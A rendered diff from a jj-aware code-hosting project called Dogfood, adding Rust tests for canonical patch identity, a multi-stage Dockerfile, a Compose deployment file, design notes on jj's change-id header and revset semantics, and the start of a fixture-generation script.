| 62 | + | df_store::DiffLineKind::Context => continue, | |
| 63 | + | } | |
| 64 | + | out.extend_from_slice(l.content.as_bytes()); | |
| 65 | + | out.push(b'\n'); | |
| 66 | + | } | |
| 67 | + | } | |
| 68 | + | } | |
| 69 | + | out | |
| 70 | + | } | |
| 71 | + | ||
| 72 | + | #[cfg(test)] | |
| 73 | + | mod tests { | |
| 74 | + | use super::*; | |
| 75 | + | use df_store::{DiffLine, DiffLineKind, FileDiff, Hunk}; | |
| 76 | + | ||
| 77 | + | fn line(kind: DiffLineKind, content: &str) -> DiffLine { | |
| 78 | + | DiffLine { | |
| 79 | + | kind, | |
| 80 | + | old_lineno: None, | |
| 81 | + | new_lineno: None, | |
| 82 | + | content: content.into(), | |
| 83 | + | // The canonical patch is line-based; the intra-line spans are a | |
| 84 | + | // rendering concern and must not affect the synthetic identity. | |
| 85 | + | // Populated here anyway so the fixture matches what the store | |
| 86 | + | // actually produces. | |
| 87 | + | spans: vec![df_store::DiffSpan { text: content.into(), emphasis: false }], | |
| 88 | + | } | |
| 89 | + | } | |
| 90 | + | ||
| 91 | + | fn file(path: &str, lines: Vec<DiffLine>) -> FileDiff { | |
| 92 | + | FileDiff { | |
| 93 | + | path: path.into(), | |
| 94 | + | old_path: None, | |
| 95 | + | kind: ChangeKind::Modified, | |
| 96 | + | binary: false, | |
| 97 | + | additions: 0, | |
| 98 | + | deletions: 0, | |
| 99 | + | hunks: vec![Hunk { | |
| 100 | + | old_start: 1, | |
| 101 | + | old_lines: 1, | |
| 102 | + | new_start: 1, | |
| 103 | + | new_lines: 1, | |
| 104 | + | lines, | |
| 105 | + | }], | |
| 106 | + | } | |
| 107 | + | } | |
| 108 | + | ||
| 109 | + | fn diff(files: Vec<FileDiff>) -> Diff { | |
| 110 | + | Diff { | |
| 111 | + | files, | |
| 112 | + | truncated: false, | |
| 113 | + | total_additions: 0, | |
| 114 | + | total_deletions: 0, | |
| 115 | + | } | |
| 116 | + | } | |
| 117 | + | ||
| 118 | + | #[test] | |
| 119 | + | fn identical_patches_serialise_identically() { | |
| 120 | + | let a = diff(vec![file("a.txt", vec![line(DiffLineKind::Added, "hello")])]); | |
| 121 | + | let b = diff(vec![file("a.txt", vec![line(DiffLineKind::Added, "hello")])]); | |
| 122 | + | assert_eq!(canonical_patch(&a), canonical_patch(&b)); | |
| 123 | + | } | |
| 124 | + | ||
| 125 | + | #[test] | |
| 126 | + | fn context_lines_do_not_affect_identity() { | |
| 127 | + | // The property that makes this survive a rebase: surrounding code moved | |
| 128 | + | // or changed, but the edit itself is the same. | |
| 129 | + | let a = diff(vec![file( | |
| 130 | + | "a.txt", | |
| 131 | + | vec![ | |
| 132 | + | line(DiffLineKind::Context, "fn main() {"), | |
| 133 | + | line(DiffLineKind::Added, "hello"), | |
| 134 | + | ], | |
| 135 | + | )]); | |
| 136 | + | let b = diff(vec![file( | |
| 137 | + | "a.txt", | |
| 138 | + | vec![ | |
| 139 | + | line(DiffLineKind::Context, "fn completely_different() {"), | |
| 140 | + | line(DiffLineKind::Added, "hello"), | |
| 141 | + | ], | |
| 142 | + | )]); | |
| 143 | + | assert_eq!(canonical_patch(&a), canonical_patch(&b)); | |
| 144 | + | } | |
| 145 | + | ||
| 146 | + | #[test] | |
| 147 | + | fn file_order_does_not_affect_identity() { | |
| 148 | + | let a = diff(vec![ | |
| 149 | + | file("a.txt", vec![line(DiffLineKind::Added, "x")]), | |
| 150 | + | file("b.txt", vec![line(DiffLineKind::Added, "y")]), | |
| 151 | + | ]); | |
| 152 | + | let b = diff(vec![ | |
| 153 | + | file("b.txt", vec![line(DiffLineKind::Added, "y")]), | |
| 154 | + | file("a.txt", vec![line(DiffLineKind::Added, "x")]), | |
| 155 | + | ]); | |
| 156 | + | assert_eq!(canonical_patch(&a), canonical_patch(&b)); | |
| 157 | + | } | |
| 158 | + | ||
| 159 | + | #[test] | |
| 160 | + | fn different_content_differs() { | |
| 161 | + | let a = diff(vec![file("a.txt", vec![line(DiffLineKind::Added, "hello")])]); | |
| 162 | + | let b = diff(vec![file("a.txt", vec![line(DiffLineKind::Added, "world")])]); | |
| 163 | + | assert_ne!(canonical_patch(&a), canonical_patch(&b)); | |
| 164 | + | } | |
| 165 | + | ||
| 166 | + | #[test] | |
| 167 | + | fn an_addition_differs_from_a_deletion_of_the_same_text() { | |
| 168 | + | let a = diff(vec![file("a.txt", vec![line(DiffLineKind::Added, "x")])]); | |
| 169 | + | let b = diff(vec![file("a.txt", vec![line(DiffLineKind::Deleted, "x")])]); | |
| 170 | + | assert_ne!(canonical_patch(&a), canonical_patch(&b)); | |
| 171 | + | } | |
| 172 | + | ||
| 173 | + | #[test] | |
| 174 | + | fn the_same_edit_in_a_different_file_differs() { | |
| 175 | + | let a = diff(vec![file("a.txt", vec![line(DiffLineKind::Added, "x")])]); | |
| 176 | + | let b = diff(vec![file("b.txt", vec![line(DiffLineKind::Added, "x")])]); | |
| 177 | + | assert_ne!(canonical_patch(&a), canonical_patch(&b)); | |
| 178 | + | } | |
| 179 | + | ||
| 180 | + | #[test] | |
| 181 | + | fn a_rename_is_distinguishable_from_a_modification() { | |
| 182 | + | let mut renamed = file("new.txt", vec![]); | |
| 183 | + | renamed.kind = ChangeKind::Renamed; | |
| 184 | + | renamed.old_path = Some("old.txt".into()); | |
| 185 | + | ||
| 186 | + | let modified = file("new.txt", vec![]); | |
| 187 | + | ||
| 188 | + | assert_ne!( | |
| 189 | + | canonical_patch(&diff(vec![renamed])), | |
| 190 | + | canonical_patch(&diff(vec![modified])) | |
| 191 | + | ); | |
| 192 | + | } | |
| 193 | + | ||
| 194 | + | #[test] | |
| 195 | + | fn binary_files_are_recorded_without_their_content() { | |
| 196 | + | let mut f = file("image.png", vec![]); | |
| 197 | + | f.binary = true; | |
| 198 | + | let bytes = canonical_patch(&diff(vec![f])); | |
| 199 | + | let text = String::from_utf8_lossy(&bytes); | |
| 200 | + | assert!(text.contains("binary")); | |
| 201 | + | assert!(text.contains("image.png")); | |
| 202 | + | } | |
| 203 | + | ||
| 204 | + | #[test] | |
| 205 | + | fn an_empty_diff_yields_an_empty_patch() { | |
| 206 | + | assert!(canonical_patch(&diff(vec![])).is_empty()); | |
| 207 | + | } | |
| 208 | + | } | |
Adocker/Dockerfile+103−0
| @@ −0,0 +1,103 @@ | |||
| 1 | + | # Dogfood — multi-stage build. | |
| 2 | + | # | |
| 3 | + | # One builder stage produces every binary; each runtime target copies just the | |
| 4 | + | # one it needs, so the three images share all their build layers (spec §10). | |
| 5 | + | ||
| 6 | + | # ─── editor bundle ─────────────────────────────────────────────────────────── | |
| 7 | + | # CodeMirror is ESM and has to be bundled. Node lives in this stage only — the | |
| 8 | + | # runtime images below copy a single .js file and never see a package manager, | |
| 9 | + | # which is the objection spec §1 raises against a Node toolchain, not to | |
| 10 | + | # bundling as such. | |
| 11 | + | FROM node:22-alpine AS editor | |
| 12 | + | WORKDIR /editor | |
| 13 | + | COPY crates/df-web/assets/editor/package.json ./ | |
| 14 | + | RUN npm install --no-audit --no-fund --silent | |
| 15 | + | COPY crates/df-web/assets/editor/editor.js ./ | |
| 16 | + | RUN npx esbuild editor.js --bundle --minify --format=iife --target=es2020 \ | |
| 17 | + | --outfile=/editor/editor.min.js \ | |
| 18 | + | && ls -la /editor/editor.min.js | |
| 19 | + | ||
| 20 | + | # ─── planner: cache dependency compilation ─────────────────────────────────── | |
| 21 | + | FROM rust:1-slim-bookworm AS chef | |
| 22 | + | WORKDIR /build | |
| 23 | + | # `build-essential` is needed for the tree-sitter grammars, which are C | |
| 24 | + | # libraries compiled into df-render (spec §8). | |
| 25 | + | RUN apt-get update \ | |
| 26 | + | && apt-get install -y --no-install-recommends pkg-config libssl-dev build-essential \ | |
| 27 | + | && rm -rf /var/lib/apt/lists/* | |
| 28 | + | RUN cargo install cargo-chef --locked | |
| 29 | + | ||
| 30 | + | FROM chef AS planner | |
| 31 | + | COPY Cargo.toml Cargo.lock* ./ | |
| 32 | + | COPY crates ./crates | |
| 33 | + | COPY migrations ./migrations | |
| 34 | + | RUN cargo chef prepare --recipe-path recipe.json | |
| 35 | + | ||
| 36 | + | # ─── builder ───────────────────────────────────────────────────────────────── | |
| 37 | + | FROM chef AS builder | |
| 38 | + | COPY --from=planner /build/recipe.json recipe.json | |
| 39 | + | # Dependencies are built once and cached; only workspace source changes below | |
| 40 | + | # this line invalidate the layer. | |
| 41 | + | RUN cargo chef cook --release --recipe-path recipe.json | |
| 42 | + | ||
| 43 | + | COPY Cargo.toml Cargo.lock* ./ | |
| 44 | + | COPY crates ./crates | |
| 45 | + | # `sqlx::migrate!` embeds these at compile time, so they must be present. | |
| 46 | + | COPY migrations ./migrations | |
| 47 | + | # …and so is the editor bundle, by `include_str!`. It has to land before the | |
| 48 | + | # build, not after. | |
| 49 | + | COPY --from=editor /editor/editor.min.js ./crates/df-web/assets/editor.min.js | |
| 50 | + | RUN cargo build --release --bin dogfood-web --bin dogfood-worker --bin dogfood-admin --bin dogfood-hook --bin dogfood-ssh | |
| 51 | + | ||
| 52 | + | # ─── runtime base ──────────────────────────────────────────────────────────── | |
| 53 | + | FROM debian:bookworm-slim AS runtime-base | |
| 54 | + | RUN apt-get update \ | |
| 55 | + | && apt-get install -y --no-install-recommends ca-certificates git wget \ | |
| 56 | + | && rm -rf /var/lib/apt/lists/* \ | |
| 57 | + | && useradd --system --create-home --uid 10001 dogfood \ | |
| 58 | + | && mkdir -p /srv/repos \ | |
| 59 | + | && chown dogfood:dogfood /srv/repos | |
| 60 | + | USER dogfood | |
| 61 | + | WORKDIR /app | |
| 62 | + | ||
| 63 | + | # ─── web ───────────────────────────────────────────────────────────────────── | |
| 64 | + | FROM runtime-base AS web | |
| 65 | + | COPY --from=builder /build/target/release/dogfood-web /usr/local/bin/dogfood-web | |
| 66 | + | # Installed into each repository's hooks/ directory at creation. | |
| 67 | + | COPY --from=builder /build/target/release/dogfood-hook /usr/local/bin/dogfood-hook | |
| 68 | + | EXPOSE 8080 | |
| 69 | + | # The container is healthy when it can serve; readiness (database reachable) is | |
| 70 | + | # checked separately by the orchestrator via /readyz. | |
| 71 | + | HEALTHCHECK --interval=30s --timeout=5s --start-period=20s --retries=3 \ | |
| 72 | + | CMD wget -qO- http://127.0.0.1:8080/healthz >/dev/null || exit 1 | |
| 73 | + | ENTRYPOINT ["/usr/local/bin/dogfood-web"] | |
| 74 | + | ||
| 75 | + | # ─── worker ────────────────────────────────────────────────────────────────── | |
| 76 | + | FROM runtime-base AS worker | |
| 77 | + | COPY --from=builder /build/target/release/dogfood-worker /usr/local/bin/dogfood-worker | |
| 78 | + | # The admin CLI ships in the worker image so operational commands run where the | |
| 79 | + | # repository volume is mounted. | |
| 80 | + | COPY --from=builder /build/target/release/dogfood-admin /usr/local/bin/dogfood-admin | |
| 81 | + | COPY --from=builder /build/target/release/dogfood-hook /usr/local/bin/dogfood-hook | |
| 82 | + | ENTRYPOINT ["/usr/local/bin/dogfood-worker"] | |
| 83 | + | ||
| 84 | + | # ─── ssh ───────────────────────────────────────────────────────────────────── | |
| 85 | + | # Git over SSH (spec §6, §9). Public-key auth only, and `dogfood-ssh` dispatches | |
| 86 | + | # nothing but `git-upload-pack` and `git-receive-pack` — no shell, no PTY, no | |
| 87 | + | # forwarding — so the image needs `git` and nothing else. | |
| 88 | + | FROM runtime-base AS ssh | |
| 89 | + | # The host-key directory must exist in the *image*, owned by the runtime user. | |
| 90 | + | # Docker seeds a named volume from the image path it is mounted at, including | |
| 91 | + | # ownership — an empty volume on a path that does not exist comes up owned by | |
| 92 | + | # root, and the process (uid 10001) then cannot write its host key. | |
| 93 | + | USER root | |
| 94 | + | RUN mkdir -p /etc/dogfood && chown dogfood:dogfood /etc/dogfood | |
| 95 | + | USER dogfood | |
| 96 | + | COPY --from=builder /build/target/release/dogfood-ssh /usr/local/bin/dogfood-ssh | |
| 97 | + | # Installed into each repository's hooks/ directory; the SSH path receives | |
| 98 | + | # pushes and must validate them the same way HTTPS does. | |
| 99 | + | COPY --from=builder /build/target/release/dogfood-hook /usr/local/bin/dogfood-hook | |
| 100 | + | # The host sshd owns :22 on this deployment, so the container listens on 2222 | |
| 101 | + | # and is published there too — clone URLs carry the explicit port. | |
| 102 | + | EXPOSE 2222 | |
| 103 | + | ENTRYPOINT ["/usr/local/bin/dogfood-ssh"] | |
Adocker/compose.yaml+93−0
| @@ −0,0 +1,93 @@ | |||
| 1 | + | # Dogfood — deployment. | |
| 2 | + | # | |
| 3 | + | # Deviations from spec §10, both forced by the environment: | |
| 4 | + | # | |
| 5 | + | # * No `postgres` service. The database is the externally provided instance in | |
| 6 | + | # .env (PostgreSQL 17 behind a TLS proxy on :6543). | |
| 7 | + | # * No `caddy` service. TLS and routing are already handled by the existing | |
| 8 | + | # caddy-proxy-manager edge (compose project `edge`), which owns :80/:443 on | |
| 9 | + | # this host. Dogfood joins its network and the edge proxies to it by | |
| 10 | + | # container name. | |
| 11 | + | ||
| 12 | + | name: dogfood | |
| 13 | + | ||
| 14 | + | services: | |
| 15 | + | web: | |
| 16 | + | build: | |
| 17 | + | context: .. | |
| 18 | + | dockerfile: docker/Dockerfile | |
| 19 | + | target: web | |
| 20 | + | container_name: dogfood-web | |
| 21 | + | env_file: ../.env | |
| 22 | + | environment: | |
| 23 | + | BIND: 0.0.0.0:8080 | |
| 24 | + | volumes: | |
| 25 | + | - repos:/srv/repos | |
| 26 | + | networks: | |
| 27 | + | - default | |
| 28 | + | # Reachable from the edge proxy for TLS termination at dogfood.sh. | |
| 29 | + | - edge_caddy-network | |
| 30 | + | restart: unless-stopped | |
| 31 | + | # Repository storage is the only thing on disk; everything else is in | |
| 32 | + | # Postgres. Read-only root keeps a compromised process from rewriting the | |
| 33 | + | # binary or dropping a hook script. | |
| 34 | + | read_only: true | |
| 35 | + | tmpfs: | |
| 36 | + | - /tmp | |
| 37 | + | security_opt: | |
| 38 | + | - no-new-privileges:true | |
| 39 | + | ||
| 40 | + | # Git over SSH. Published on 2222 because the host sshd owns :22 (spec §10 | |
| 41 | + | # assumes otherwise; the environment does not allow it), so clone URLs are | |
| 42 | + | # ssh://git@dogfood.sh:2222/owner/repo.git. | |
| 43 | + | ssh: | |
| 44 | + | build: | |
| 45 | + | context: .. | |
| 46 | + | dockerfile: docker/Dockerfile | |
| 47 | + | target: ssh | |
| 48 | + | container_name: dogfood-ssh | |
| 49 | + | env_file: ../.env | |
| 50 | + | environment: | |
| 51 | + | SSH_BIND: 0.0.0.0:2222 | |
| 52 | + | SSH_HOST_KEY_PATH: /etc/dogfood/ssh_host_ed25519_key | |
| 53 | + | ports: | |
| 54 | + | - "2222:2222" | |
| 55 | + | volumes: | |
| 56 | + | - repos:/srv/repos | |
| 57 | + | # The host key must survive a redeploy or every client reports a changed | |
| 58 | + | # host key, which is indistinguishable from an attack. | |
| 59 | + | - ssh_keys:/etc/dogfood | |
| 60 | + | networks: | |
| 61 | + | - default | |
| 62 | + | restart: unless-stopped | |
| 63 | + | read_only: true | |
| 64 | + | tmpfs: | |
| 65 | + | - /tmp | |
| 66 | + | security_opt: | |
| 67 | + | - no-new-privileges:true | |
| 68 | + | ||
| 69 | + | worker: | |
| 70 | + | build: | |
| 71 | + | context: .. | |
| 72 | + | dockerfile: docker/Dockerfile | |
| 73 | + | target: worker | |
| 74 | + | container_name: dogfood-worker | |
| 75 | + | env_file: ../.env | |
| 76 | + | volumes: | |
| 77 | + | - repos:/srv/repos | |
| 78 | + | networks: | |
| 79 | + | - default | |
| 80 | + | restart: unless-stopped | |
| 81 | + | read_only: true | |
| 82 | + | tmpfs: | |
| 83 | + | - /tmp | |
| 84 | + | security_opt: | |
| 85 | + | - no-new-privileges:true | |
| 86 | + | ||
| 87 | + | volumes: | |
| 88 | + | repos: | |
| 89 | + | ssh_keys: | |
| 90 | + | ||
| 91 | + | networks: | |
| 92 | + | edge_caddy-network: | |
| 93 | + | external: true | |
Adocs/change-id-format.md+154−0
| @@ −0,0 +1,154 @@ | |||
| 1 | + | # jj change-id on the Git backend — verified format | |
| 2 | + | ||
| 3 | + | **Status:** RESOLVED. This closes spec §13 open question 1, the hard prerequisite for M1. | |
| 4 | + | ||
| 5 | + | **Method:** empirical, against real repositories produced by the `jj` CLI | |
| 6 | + | (`jj 0.43.0-89f62ede8c1c611eaf134c0c49252efd65c7945d`, x86_64-unknown-linux-musl). | |
| 7 | + | No commit objects were hand-authored. Every claim below is a direct `git cat-file commit` | |
| 8 | + | observation, and the reproduction steps live in `fixtures/gen.sh`. | |
| 9 | + | ||
| 10 | + | --- | |
| 11 | + | ||
| 12 | + | ## 1. The header | |
| 13 | + | ||
| 14 | + | ``` | |
| 15 | + | change-id qstvwxmpkvovsosxxmrnxpqmuuyllsqu | |
| 16 | + | ``` | |
| 17 | + | ||
| 18 | + | - **Key:** `change-id` — lowercase, hyphenated. Not `Change-Id`, not `jj:change-id`. | |
| 19 | + | - **Value:** 32 characters, stored **in jj's reverse-hex letter encoding** — the exact | |
| 20 | + | string the CLI displays. It is *not* stored as hex and rendered as letters. | |
| 21 | + | ||
| 22 | + | This is the single most important finding, and it is the opposite of what the spec | |
| 23 | + | anticipated ("the CLI's letter form is a presentation encoding of the stored bytes"). | |
| 24 | + | On this backend the stored bytes **are** the letter form. | |
| 25 | + | ||
| 26 | + | **Consequence:** the canonical encoding for `changes.change_id` is the letter string | |
| 27 | + | exactly as it arrives on the wire. Do not hex-decode on ingest and re-encode for display — | |
| 28 | + | that round-trip is pure risk with no benefit, and any mismatch means users cannot | |
| 29 | + | cross-reference the UI against their terminal. | |
| 30 | + | ||
| 31 | + | The alphabet is the reverse-hex mapping `0123456789abcdef` → `zyxwvutsrqponmlk`. | |
| 32 | + | Corroborated by the root change, which jj displays as `zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz` | |
| 33 | + | against commit id `0000000000000000000000000000000000000000`. | |
| 34 | + | ||
| 35 | + | ## 2. Header position is NOT fixed — parse properly | |
| 36 | + | ||
| 37 | + | Two observed layouts place `change-id` in different positions: | |
| 38 | + | ||
| 39 | + | Signed commit — `change-id` *before* `gpgsig`: | |
| 40 | + | ``` | |
| 41 | + | tree ec67420ed747b72ce94854190b4c59deff01b9db | |
| 42 | + | author Fixture Author <fixture@dogfood.sh> 1785482470 +0000 | |
| 43 | + | committer Fixture Author <fixture@dogfood.sh> 1785482470 +0000 | |
| 44 | + | change-id rwsosmnkorymmtvvzwkuuzzqqmuonwnn | |
| 45 | + | gpgsig -----BEGIN SSH SIGNATURE----- | |
| 46 | + | U1NIU0lHAAAAAQAAADMAAAALc3NoLWVkMjU1MTkAAAAgpDlDGOvAOfzKu8EtSuCO+q7OMl | |
| 47 | + | ... | |
| 48 | + | -----END SSH SIGNATURE----- | |
| 49 | + | ||
| 50 | + | signed via jj | |
| 51 | + | ``` | |
| 52 | + | ||
| 53 | + | Conflicted commit — `change-id` *after* two other `jj:` headers, one of which is multi-line: | |
| 54 | + | ``` | |
| 55 | + | tree 125bc2eed773e5eacbb11544e9966dab850ed4f9 | |
| 56 | + | parent 8fa0e2bff61fc63eb09ade2565647e3bda6e8cbf | |
| 57 | + | parent e2263f3f9f90bbfac26edb8e43b348bc9ab32e99 | |
| 58 | + | author Fixture Author <fixture@dogfood.sh> 1785482444 +0000 | |
| 59 | + | committer Fixture Author <fixture@dogfood.sh> 1785482444 +0000 | |
| 60 | + | jj:conflict-labels vtrtrnpx 8fa0e2bf "sideA" | |
| 61 | + | wokvnsmz ebc596ab "base" | |
| 62 | + | lvtnxnzk e2263f3f "sideB" | |
| 63 | + | jj:trees ada380c77b2f1923458d0b93cbfee42f297a58e9 892cad2b4d1f22ae36e2107a6a187a5dc227f965 14a356d6227b63a22f94c18817912d5e37b77c21 | |
| 64 | + | change-id otuuklrtzzlqvnwuxvsvttrrsompzpzx | |
| 65 | + | ||
| 66 | + | conflicted merge | |
| 67 | + | ``` | |
| 68 | + | ||
| 69 | + | `extract_change_id` must therefore be a real RFC-822-style header parser: | |
| 70 | + | ||
| 71 | + | 1. Read lines until the **first empty line** (that terminates the header block; everything | |
| 72 | + | after is the message). | |
| 73 | + | 2. A line beginning with a **single space** is a continuation of the previous header's value. | |
| 74 | + | Both `gpgsig` and `jj:conflict-labels` use this. Splitting naively on `\n` and matching | |
| 75 | + | `^change-id ` happens to work today, but a continuation line inside a signature whose | |
| 76 | + | base64 payload begins with `change-id ` would produce a bogus id — cheap to prevent, so | |
| 77 | + | prevent it. | |
| 78 | + | 3. Match the header key `change-id` exactly, case-sensitively. | |
| 79 | + | 4. Validate the value: exactly 32 bytes, all within `[k-z]`. Reject anything else rather than | |
| 80 | + | storing a malformed id. | |
| 81 | + | ||
| 82 | + | Do not assume the header block ends at a fixed line number, and do not assume `change-id` | |
| 83 | + | precedes or follows any particular other header. | |
| 84 | + | ||
| 85 | + | ## 3. Stability across rewrite — confirmed | |
| 86 | + | ||
| 87 | + | The property the entire product rests on: | |
| 88 | + | ||
| 89 | + | | description | commit id | change id | | |
| 90 | + | |---|---|---| | |
| 91 | + | | `first change` | `857ec6861ea3cd5dfe57f0751c0435c8165c1460` | `qstvwxmpkvovsosxxmrnxpqmuuyllsqu` | | |
| 92 | + | | `first change AMENDED` | `9d7c2334d79969ff8e788af6407e04e1d4fd1a35` | `qstvwxmpkvovsosxxmrnxpqmuuyllsqu` | | |
| 93 | + | ||
| 94 | + | The commit id changed, the change id did not. Verified to survive `jj git push` into a bare | |
| 95 | + | remote — the header is present byte-identical when read back with | |
| 96 | + | `git --git-dir=remote.git cat-file commit main`, which is exactly the path the indexer reads. | |
| 97 | + | ||
| 98 | + | ## 4. Plain-git commits carry no header — confirmed | |
| 99 | + | ||
| 100 | + | ``` | |
| 101 | + | tree 4997ca7a42e3ad9b729fbad3acd44fbabd07b6bd | |
| 102 | + | author Plain Git <pg@dogfood.sh> 1785482410 +0000 | |
| 103 | + | committer Plain Git <pg@dogfood.sh> 1785482410 +0000 | |
| 104 | + | ||
| 105 | + | plain git commit | |
| 106 | + | ``` | |
| 107 | + | ||
| 108 | + | `extract_change_id` returns `None`; these take the synthetic-identity path (spec §4) and are | |
| 109 | + | flagged `changes.synthetic = true`. | |
| 110 | + | ||
| 111 | + | ## 5. Merge commits carry the header normally — confirmed | |
| 112 | + | ||
| 113 | + | A two-parent jj commit carries `change-id` like any other. No special handling needed beyond | |
| 114 | + | recording both parents. | |
| 115 | + | ||
| 116 | + | ## 6. Conflict representation — for the M4 indexer | |
| 117 | + | ||
| 118 | + | A conflicted revision is detectable **two** ways, and they agree: | |
| 119 | + | ||
| 120 | + | - **Header:** `jj:trees` lists the constituent tree OIDs, in alternating | |
| 121 | + | `side_0 base_0 side_1 [base_1 side_2 …]` order — always `sides == bases + 1`. | |
| 122 | + | `jj:conflict-labels` carries human-readable labels for each, in the same order. | |
| 123 | + | - **Tree:** the commit's root tree contains `.jjconflict-side-N` and `.jjconflict-base-N` | |
| 124 | + | subtrees, plus a `JJ-CONFLICT-README` blob explaining the layout to plain-Git users. | |
| 125 | + | ||
| 126 | + | Observed for a 2-sided conflict: | |
| 127 | + | ||
| 128 | + | | header `jj:trees` position | tree entry | label | | |
| 129 | + | |---|---|---| | |
| 130 | + | | 0 | `.jjconflict-side-0` → `ada380c7…` | `vtrtrnpx 8fa0e2bf "sideA"` | | |
| 131 | + | | 1 | `.jjconflict-base-0` → `892cad2b…` | `wokvnsmz ebc596ab "base"` | | |
| 132 | + | | 2 | `.jjconflict-side-1` → `14a356d6…` | `lvtnxnzk e2263f3f "sideB"` | | |
| 133 | + | ||
| 134 | + | Note the root tree **also** contains the materialized path (`c.txt`) holding one side's | |
| 135 | + | content, alongside the `.jjconflict-*` subtrees. A tree listing must filter the | |
| 136 | + | `.jjconflict-*` entries and `JJ-CONFLICT-README` out of the user-facing file list, or every | |
| 137 | + | conflicted change will show phantom directories in the browser. | |
| 138 | + | ||
| 139 | + | Prefer the `jj:trees` header for detection — it is unambiguous and does not require loading | |
| 140 | + | the tree. Store the parsed sides/bases into `revisions.conflict_data` at index time so the | |
| 141 | + | conflict viewer never re-walks objects (spec §4). | |
| 142 | + | ||
| 143 | + | ## 7. Reference: jj's own documentation | |
| 144 | + | ||
| 145 | + | jj documents this mapping at | |
| 146 | + | <https://docs.jj-vcs.dev/latest/git-compatibility/#format-mapping-details>, cited by the | |
| 147 | + | `JJ-CONFLICT-README` blob jj itself writes into conflicted trees. | |
| 148 | + | ||
| 149 | + | ## 8. Version sensitivity | |
| 150 | + | ||
| 151 | + | All of the above is observed on jj 0.43.0. The `jj:` header namespace and the letter-encoded | |
| 152 | + | `change-id` are backend format, not CLI presentation, so they are stable in practice — but | |
| 153 | + | the fixture corpus is generated by a pinned jj version in CI precisely so a format change | |
| 154 | + | fails a test rather than silently corrupting the index. | |
Adocs/revset-semantics.md+65−0
| @@ −0,0 +1,65 @@ | |||
| 1 | + | # Revset semantics — notes for the §8 subset | |
| 2 | + | ||
| 3 | + | Spec §8 requires a deliberately small revset subset (`author()`, `description()`, | |
| 4 | + | `conflicted()`, `bookmarks()`, `open()`, plus `&`, `|`, `~`) parsed into SQL, and warns: | |
| 5 | + | ||
| 6 | + | > Do not attempt to implement jj's full revset language against a Git-backed index; it will not | |
| 7 | + | > be faithful, and a subtly wrong revset is worse than an honestly limited one. | |
| 8 | + | ||
| 9 | + | These are behaviours verified against jj 0.43.0 that a naive SQL translation gets wrong. | |
| 10 | + | ||
| 11 | + | ## `description()` is an EXACT match, not a substring match | |
| 12 | + | ||
| 13 | + | This is the trap. Verified directly: | |
| 14 | + | ||
| 15 | + | ``` | |
| 16 | + | $ jj log -r 'description("merge base")' # commit described exactly "merge base" | |
| 17 | + | (empty result) | |
| 18 | + | ||
| 19 | + | $ jj log -r 'description(substring:"base")' | |
| 20 | + | mmnulkozlxru merge base | |
| 21 | + | ||
| 22 | + | $ jj log -r 'subject("merge base")' | |
| 23 | + | mmnulkozlxru merge base | |
| 24 | + | ``` | |
| 25 | + | ||
| 26 | + | The obvious implementation — `WHERE description ILIKE '%' || $1 || '%'` — is **wrong**, and | |
| 27 | + | wrong in the most damaging direction: it silently returns *more* than the CLI would, so a | |
| 28 | + | reviewer filtering a change list sees results their terminal does not. That is precisely the | |
| 29 | + | "subtly wrong revset" the spec says is worse than no revset. | |
| 30 | + | ||
| 31 | + | Correct mapping for the v1 subset: | |
| 32 | + | ||
| 33 | + | | revset | SQL | | |
| 34 | + | |---|---| | |
| 35 | + | | `description("x")` | `description = 'x'` — exact, including jj's trailing newline handling | | |
| 36 | + | | `description(substring:"x")` | `description ILIKE '%x%'` | | |
| 37 | + | | `subject("x")` | exact match against the **first line** of the description | | |
| 38 | + | ||
| 39 | + | If only one form is implemented in v1, implement `description(substring:)`, because it is the | |
| 40 | + | one users actually want — but then **do not accept the bare `description("x")` form at all**. | |
| 41 | + | Reject it with the "unsupported expression" message rather than aliasing it to substring. | |
| 42 | + | Accepting it with different semantics than the CLI is the failure mode to avoid. | |
| 43 | + | ||
| 44 | + | Note also that jj descriptions carry a trailing newline. Normalise on ingest (store without | |
| 45 | + | it) so exact matching does not depend on invisible whitespace. | |
| 46 | + | ||
| 47 | + | ## Prefix matching | |
| 48 | + | ||
| 49 | + | Ambiguity handling matters. jj resolves the shortest unique prefix and errors on ambiguity; | |
| 50 | + | spec §7 requires Dogfood render a disambiguation page rather than guess. The index has | |
| 51 | + | `changes_prefix_idx (repo_id, change_id text_pattern_ops)` for this — use | |
| 52 | + | `change_id LIKE $1 || '%'` and count results before choosing a page. | |
| 53 | + | ||
| 54 | + | ## Functions deliberately NOT in the v1 subset | |
| 55 | + | ||
| 56 | + | `heads()`, `roots()`, `ancestors()`, `descendants()`, `::`, `..`, `latest()`, `merges()`, | |
| 57 | + | `file()`, `diff_contains()` — all require graph traversal or content search that the SQL index | |
| 58 | + | cannot answer faithfully. The parser must reject these by name with a clear message naming the | |
| 59 | + | unsupported function, not fail to parse with a generic syntax error. | |
| 60 | + | ||
| 61 | + | ## `mine()` / `author()` | |
| 62 | + | ||
| 63 | + | `author()` in jj matches against the author *email and name* as a substring. Dogfood stores | |
| 64 | + | `revisions.author_email` and `author_name`; match against both, and be explicit in the UI that | |
| 65 | + | this is a substring match so it is not confused with `description()`'s exact semantics. | |
Afixtures/gen.sh+369−0
| @@ −0,0 +1,369 @@ | |||
| 1 | + | #!/usr/bin/env bash | |
| 2 | + | # | |
| 3 | + | # Generate the jj/git fixture corpus the indexer is tested against. | |
| 4 | + | # | |
| 5 | + | # Spec §12: "a script that drives the real jj and git CLIs to produce repositories | |
| 6 | + | # exhibiting every state the indexer must handle. Commit the script, generate the | |
| 7 | + | # fixtures in CI. Never hand-author Git objects." | |
| 8 | + | # | |
| 9 | + | # Output: fixtures/repos/<case>.git — bare repositories, exactly what Dogfood | |
| 10 | + | # stores on disk. The indexer reads these; nothing here is hand-written. | |
| 11 | + | # | |
| 12 | + | # Usage: fixtures/gen.sh [output_dir] | |
| 13 | + | # Env: JJ_VERSION pin (default below). CI must pin so a jj format change fails | |
| 14 | + | # a test instead of silently corrupting the index. | |
| 15 | + | ||
| 16 | + | set -euo pipefail | |
| 17 | + | ||
| 18 | + | JJ_VERSION="${JJ_VERSION:-0.43.0}" | |
| 19 | + | ROOT="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" | |
| 20 | + | OUT="${1:-$ROOT/repos}" | |
| 21 | + | BIN="$ROOT/bin" | |
| 22 | + | WORK="$(mktemp -d)" | |
| 23 | + | trap 'rm -rf "$WORK"' EXIT | |
| 24 | + | ||
| 25 | + | # ─── toolchain ─────────────────────────────────────────────────────────────── | |
| 26 | + | ||
